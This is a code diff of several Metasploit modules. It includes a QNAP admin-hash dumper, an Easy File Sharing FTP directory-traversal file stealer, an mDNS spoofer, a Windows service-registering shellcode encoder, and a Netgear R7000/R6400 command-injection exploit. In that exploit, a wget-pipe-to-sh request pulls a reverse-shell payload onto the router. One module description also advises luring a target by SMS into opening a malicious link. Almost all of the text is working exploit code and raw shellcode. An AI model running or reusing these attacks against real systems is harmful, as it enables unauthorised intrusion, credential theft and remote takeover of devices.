@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')
|
||||
vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")
|
||||
|
||||
if Gem::Version.new(info[1]) < Gem::Version.new('4.2.3')
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if check == Exploit::CheckCode::Safe
|
||||
print_error('Device does not appear to be a QNAP')
|
||||
return
|
||||
end
|
||||
|
||||
admin_hash = nil
|
||||
|
||||
(0..datastore['RETRIES']).each do |attempt|
|
||||
vprint_status("Retry #{attempt} in progress") if attempt > 0
|
||||
break if (admin_hash = dump_hash)
|
||||
end
|
||||
|
||||
if admin_hash
|
||||
print_good("Hopefully this is your hash: #{admin_hash}")
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
type: 'qnap.admin.hash',
|
||||
data: admin_hash
|
||||
)
|
||||
else
|
||||
print_error('Looks like we didn\'t find the hash :(')
|
||||
end
|
||||
|
||||
vprint_status("#{@cnt} HTTP requests were sent during module run")
|
||||
end
|
||||
|
||||
def dump_hash
|
||||
l = datastore['OFFSET_START']
|
||||
r = datastore['OFFSET_END']
|
||||
|
||||
start = Time.now
|
||||
t = binsearch(l, r)
|
||||
stop = Time.now
|
||||
|
||||
time = stop - start
|
||||
vprint_status("Binary search of #{l}-#{r} completed in #{time}s")
|
||||
|
||||
if action.name == 'Automatic'
|
||||
target = actions.find do |tgt|
|
||||
tgt.name == @target
|
||||
end
|
||||
else
|
||||
target = action
|
||||
end
|
||||
|
||||
return if t.nil? || @offset.nil? || target.nil?
|
||||
|
||||
offset = @offset - target[:offset]
|
||||
|
||||
find_hash(t, offset)
|
||||
end
|
||||
|
||||
def find_hash(t, offset)
|
||||
admin_hash = nil
|
||||
|
||||
# Off by one or two...
|
||||
2.times do
|
||||
t += 1
|
||||
|
||||
if (res = send_request(t, [offset].pack('V')))
|
||||
if (backtrace = find_backtrace(res))
|
||||
token = backtrace[0].split[4]
|
||||
end
|
||||
end
|
||||
|
||||
if token && token.start_with?('$1$')
|
||||
admin_hash = token
|
||||
addr = "0x#{offset.to_s(16)}"
|
||||
vprint_status("Admin hash found at #{addr} with offset #{t}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
admin_hash
|
||||
end
|
||||
|
||||
# Shamelessly stolen from Knuth
|
||||
def binsearch(l, r)
|
||||
return if l > r
|
||||
|
||||
@m = ((l + r) / 2).floor
|
||||
|
||||
res = send_request(@m)
|
||||
|
||||
return if res.nil?
|
||||
|
||||
if find_backtrace(res)
|
||||
l = @m + 1
|
||||
else
|
||||
r = @m - 1
|
||||
end
|
||||
|
||||
binsearch(l, r)
|
||||
|
||||
@m
|
||||
end
|
||||
|
||||
def send_request(m, ret = nil)
|
||||
@cnt = @cnt.to_i + 1
|
||||
|
||||
payload = Rex::Text.encode_base64(
|
||||
Rex::Text.rand_text(1) * m +
|
||||
(ret ? ret : Rex::Text.rand_text(4))
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/cgi-bin/cgi.cgi',
|
||||
#'vhost' => 'Q',
|
||||
'vars_get' => {
|
||||
'u' => 'admin',
|
||||
'p' => payload
|
||||
}
|
||||
)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def find_backtrace(res)
|
||||
res.headers.find do |name, val|
|
||||
if name.include?('glibc detected')
|
||||
@offset = val.split[-2].to_i(16)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -33,8 +33,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
|
||||
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
|
||||
This vulnerability allows an attacker to download arbitrary files from the server by crafting
|
||||
a RETR command that includes file system traversal strings such as '../'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Author' =>
|
||||
[
|
||||
'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-6510']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 07 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
|
||||
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
begin
|
||||
connect
|
||||
if /Easy File Sharing FTP Server/i === banner
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
begin
|
||||
# Login anonymously and open the socket that we'll use for data retrieval.
|
||||
connect_login
|
||||
sock = data_connect
|
||||
if sock.nil?
|
||||
error_msg = 'data_connect failed; posssible invalid response'
|
||||
print_status(error_msg)
|
||||
elog(error_msg)
|
||||
else
|
||||
file_path = datastore['PATH']
|
||||
file = ::File.basename(file_path)
|
||||
|
||||
# make RETR request and store server response message...
|
||||
retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
|
||||
res = send_cmd( ["RETR", retr_cmd])
|
||||
|
||||
# read the file data from the socket that we opened
|
||||
# dont assume theres still a sock to read from. Per #7582
|
||||
if sock.nil?
|
||||
error_msg = 'data_connect failed; posssible invalid response'
|
||||
print_status(error_msg)
|
||||
elog(error_msg)
|
||||
return
|
||||
else
|
||||
# read the file data from the socket that we opened
|
||||
response_data = sock.read(1024)
|
||||
end
|
||||
|
||||
unless response_data
|
||||
print_error("#{file_path} not found")
|
||||
return
|
||||
end
|
||||
|
||||
if response_data.length == 0 or ! (res =~ /^150/ )
|
||||
print_status("File (#{file_path})from #{peer} is empty...")
|
||||
return
|
||||
end
|
||||
|
||||
# store file data to loot
|
||||
loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
|
||||
vprint_status("Data returned:\n")
|
||||
vprint_line(response_data)
|
||||
print_good("Stored #{file_path} to #{loot_file}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
vprint_error(e.message)
|
||||
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
vprint_error(e.message)
|
||||
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
|
||||
ensure
|
||||
data_disconnect
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
This module allows you to open an android meterpreter via a browser. An Android
|
||||
meterpreter must be installed as an application beforehand on the target device
|
||||
in order to use this.
|
||||
|
||||
For best results, you can consider using the auxiliary/client/sms/send_text to
|
||||
trick your target into opening the malicious link, and wake up Meterpreter.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
|
|
|
@ -0,0 +1,253 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'socket'
|
||||
require 'ipaddr'
|
||||
require 'net/dns'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'mDNS Spoofer',
|
||||
'Description' => %q{
|
||||
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
|
||||
},
|
||||
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
|
||||
],
|
||||
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
|
||||
OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
|
||||
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
|
||||
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
self.thread = nil
|
||||
self.sock = nil
|
||||
end
|
||||
|
||||
def dispatch_request(packet, rhost, src_port)
|
||||
rhost = ::IPAddr.new(rhost)
|
||||
|
||||
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
|
||||
# addr like "::ffff:192.168.0.1" when the interface we're listening
|
||||
# on has an IPv6 address. Convert it to just the v4 addr
|
||||
if rhost.ipv4_mapped?
|
||||
rhost = rhost.native
|
||||
end
|
||||
|
||||
# Parse the incoming MDNS packet. Quit if an exception was thrown.
|
||||
dns_pkt = nil
|
||||
begin
|
||||
dns_pkt = ::Net::DNS::Packet.parse(packet)
|
||||
rescue
|
||||
return
|
||||
end
|
||||
|
||||
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
|
||||
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
|
||||
|
||||
# Turn this packet into an authoritative response.
|
||||
dns_pkt.header.qr = 1
|
||||
dns_pkt.header.aa = 1
|
||||
|
||||
qm = true
|
||||
dns_pkt.question.each do |question|
|
||||
name = question.qName
|
||||
if datastore['REGEX'] != '.*'
|
||||
unless name =~ /#{datastore['REGEX']}/i
|
||||
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
|
||||
if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type
|
||||
qm = false
|
||||
end
|
||||
|
||||
# qType is not a Integer, so to compare it with `case` we have to
|
||||
# convert it
|
||||
responding_with = nil
|
||||
case question.qType.to_i
|
||||
when ::Net::DNS::A
|
||||
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => 0x8001, # Class IN, with flush cache flag
|
||||
:type => ::Net::DNS::A,
|
||||
:address => spoof4.to_s
|
||||
)
|
||||
responding_with = spoof4.to_s
|
||||
when ::Net::DNS::AAAA
|
||||
if spoof6 != ''
|
||||
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => 0x8001, # Class IN, with flush cache flag
|
||||
:type => ::Net::DNS::AAAA,
|
||||
:address => spoof6.to_s
|
||||
)
|
||||
responding_with = spoof6.to_s
|
||||
end
|
||||
else
|
||||
# Skip PTR, SRV, etc. records.
|
||||
next
|
||||
end
|
||||
|
||||
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
|
||||
if not responding_with.nil? and should_print_reply?(name)
|
||||
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
|
||||
end
|
||||
end
|
||||
|
||||
# Clear the questions from the responses. They aren't observed in legit responses.
|
||||
dns_pkt.question.clear()
|
||||
|
||||
# If we didn't find anything we want to spoof, don't send any
|
||||
# packets
|
||||
return if dns_pkt.answer.empty?
|
||||
|
||||
begin
|
||||
udp = ::PacketFu::UDPHeader.new(
|
||||
:udp_src => 5353,
|
||||
:udp_dst => src_port,
|
||||
:body => dns_pkt.data
|
||||
)
|
||||
rescue
|
||||
return
|
||||
end
|
||||
udp.udp_recalc
|
||||
|
||||
# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.
|
||||
dst = rhost
|
||||
if rhost.ipv4?
|
||||
if qm
|
||||
dst = ::IPAddr.new('224.0.0.251')
|
||||
end
|
||||
ip_pkt = ::PacketFu::IPPacket.new(
|
||||
:ip_src => spoof4.hton,
|
||||
:ip_dst => dst.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
)
|
||||
elsif rhost.ipv6?
|
||||
if qm
|
||||
dst = ::IPAddr.new('ff02::fb')
|
||||
end
|
||||
ip_pkt = ::PacketFu::IPv6Packet.new(
|
||||
:ipv6_src => spoof6.hton,
|
||||
:ipv6_dst => dst.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
)
|
||||
else
|
||||
# Should never get here
|
||||
print_error("IP version is not 4 or 6. Failed to parse?")
|
||||
return
|
||||
end
|
||||
ip_pkt.recalc
|
||||
|
||||
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
while true
|
||||
rds = [self.sock]
|
||||
wds = []
|
||||
eds = [self.sock]
|
||||
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Don't spam with success, just throttle to every 10 seconds
|
||||
# per host
|
||||
def should_print_reply?(host)
|
||||
@notified_times ||= {}
|
||||
now = Time.now.utc
|
||||
@notified_times[host] ||= now
|
||||
last_notified = now - @notified_times[host]
|
||||
if last_notified == 0 or last_notified > 10
|
||||
@notified_times[host] = now
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
|
||||
# Multicast Address for LLMNR
|
||||
multicast_addr = ::IPAddr.new("224.0.0.251")
|
||||
|
||||
# The bind address here will determine which interface we receive
|
||||
# multicast packets from. If the address is INADDR_ANY, we get them
|
||||
# from all interfaces, so try to restrict if we can, but fall back
|
||||
# if we can't
|
||||
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
|
||||
|
||||
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
# This must be INADDR_ANY to receive multicast packets
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalPort' => 5353,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
|
||||
monitor_socket
|
||||
}
|
||||
|
||||
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||
|
||||
add_socket(self.sock)
|
||||
|
||||
self.thread.join
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
close_pcap
|
||||
end
|
||||
end
|
|
@ -32,9 +32,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[
|
||||
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
|
||||
OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
|
||||
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
|
||||
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
require 'metasm'
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Encoder
|
||||
|
||||
Rank = ManualRanking
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Register Service',
|
||||
'Version' => '$Revision: 14774 $',
|
||||
'Description' => 'Register service if used with psexec for example',
|
||||
'Author' => 'agix',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'EncoderType' => Msf::Encoder::Type::Raw
|
||||
)
|
||||
end
|
||||
|
||||
@@cpu32 = Metasm::Ia32.new
|
||||
def assemble(src, cpu=@@cpu32)
|
||||
Metasm::Shellcode.assemble(cpu, src).encode_string
|
||||
end
|
||||
|
||||
def can_preserve_registers?
|
||||
true
|
||||
end
|
||||
|
||||
def modified_registers
|
||||
[]
|
||||
end
|
||||
|
||||
def preserves_stack?
|
||||
true
|
||||
end
|
||||
|
||||
def string_to_pushes(string)
|
||||
str = string.dup
|
||||
# Align string to 4 bytes
|
||||
rem = (str.length) % 4
|
||||
if rem > 0
|
||||
str << "\x00" * (4 - rem)
|
||||
pushes = ''
|
||||
else
|
||||
pushes = "h\x00\x00\x00\x00"
|
||||
end
|
||||
# string is now 4 bytes aligned with null byte
|
||||
|
||||
# push string to stack, starting at the back
|
||||
while str.length > 0
|
||||
four = 'h'+str.slice!(-4,4)
|
||||
pushes << four
|
||||
end
|
||||
|
||||
pushes
|
||||
end
|
||||
|
||||
def encode_block(state, block)
|
||||
nb_iter = rand(0x2fffffff)+0xfffffff
|
||||
|
||||
push_registers = ''
|
||||
pop_registers = ''
|
||||
if datastore['SaveRegisters']
|
||||
datastore['SaveRegisters'].split(" ").each { |reg|
|
||||
push_registers += assemble("push %s"%reg)
|
||||
pop_registers = assemble("pop %s"%reg) + pop_registers
|
||||
}
|
||||
end
|
||||
|
||||
name = ENV['MSF_SERVICENAME']
|
||||
name ||= Rex::Text.rand_text_alpha(8)
|
||||
pushed_service_name = string_to_pushes(name)
|
||||
|
||||
precode_size = 0xc6
|
||||
svcmain_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xcc
|
||||
hash_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xbf
|
||||
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
code_service_stopped =
|
||||
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
|
||||
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
|
||||
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
|
||||
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
|
||||
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
|
||||
|
||||
precode_size = 0x42
|
||||
shellcode_code_offset = code_service_stopped.length + precode_size
|
||||
|
||||
# code_service could be encoded in the future
|
||||
code_service =
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
|
||||
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
|
||||
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
|
||||
|
||||
return push_registers + code_service + pop_registers + block
|
||||
end
|
||||
|
||||
end
|
|
@ -60,7 +60,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
begin
|
||||
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
|
||||
res = send_request_cgi(
|
||||
'uri' => "/shell?echo+#{fingerprint}",
|
||||
'method' => 'GET',
|
||||
'uri' => '/shell',
|
||||
'query' => "echo+#{fingerprint}",
|
||||
'headers' => { 'Connection' => 'Keep-Alive' }
|
||||
)
|
||||
if res && res.body.include?(fingerprint)
|
||||
|
@ -75,7 +77,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def execute_command(cmd, opts)
|
||||
begin
|
||||
send_request_cgi(
|
||||
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
|
||||
'uri' => '/shell',
|
||||
'query' => Rex::Text.uri_encode(cmd, 'hex-all'),
|
||||
'headers' => { 'Connection' => 'Keep-Alive' }
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary command injection vulnerability in
|
||||
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Author' => ['thecarterb', 'Acew0rm'],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Targets' => [
|
||||
[ 'Automatic Target', { } ]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '40889'],
|
||||
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
|
||||
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
|
||||
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
|
||||
[ 'CVE', '2016-6277']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 06 2016',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
||||
def scrape(text, start_trig, end_trig)
|
||||
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
|
||||
end
|
||||
|
||||
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
|
||||
def check
|
||||
res = send_request_cgi({'uri'=>'/'})
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||
end
|
||||
# Checks for the `WWW-Authenticate` header in the response
|
||||
if res.headers["WWW-Authenticate"]
|
||||
data = res.to_s
|
||||
marker_one = "Basic realm=\"NETGEAR "
|
||||
marker_two = "\""
|
||||
model = scrape(data, marker_one, marker_two)
|
||||
vprint_status("Router is a NETGEAR router (#{model})")
|
||||
if model == 'R7000' || model == 'R6400'
|
||||
print_good("Router may be vulnerable (NETGEAR #{model})")
|
||||
return CheckCode::Detected
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
else
|
||||
print_error('Router is not a NETGEAR router')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
return if check == CheckCode::Safe
|
||||
|
||||
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
|
||||
)
|
||||
end
|
||||
|
||||
# Return CmdStager on first request, payload on second
|
||||
def on_request_uri(cli, request)
|
||||
if @cmdstager
|
||||
send_response(cli, @cmdstager)
|
||||
@cmdstager = nil
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -104,7 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/globe' # TODO: Check this? Why not /UD/act?1
|
||||
'method' => 'GET',
|
||||
'uri' => '/globe'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - A connection error has occured")
|
||||
|
|
|
@ -98,7 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@cookie = rand_text_alpha_lower(7)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),
|
||||
'uri' => '/cgi-bin/index.asp',
|
||||
'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),
|
||||
'method' => 'POST',
|
||||
'cookie' => "SESSIONID=#{@cookie}",
|
||||
'vars_post' => {
|
||||
|
|
|
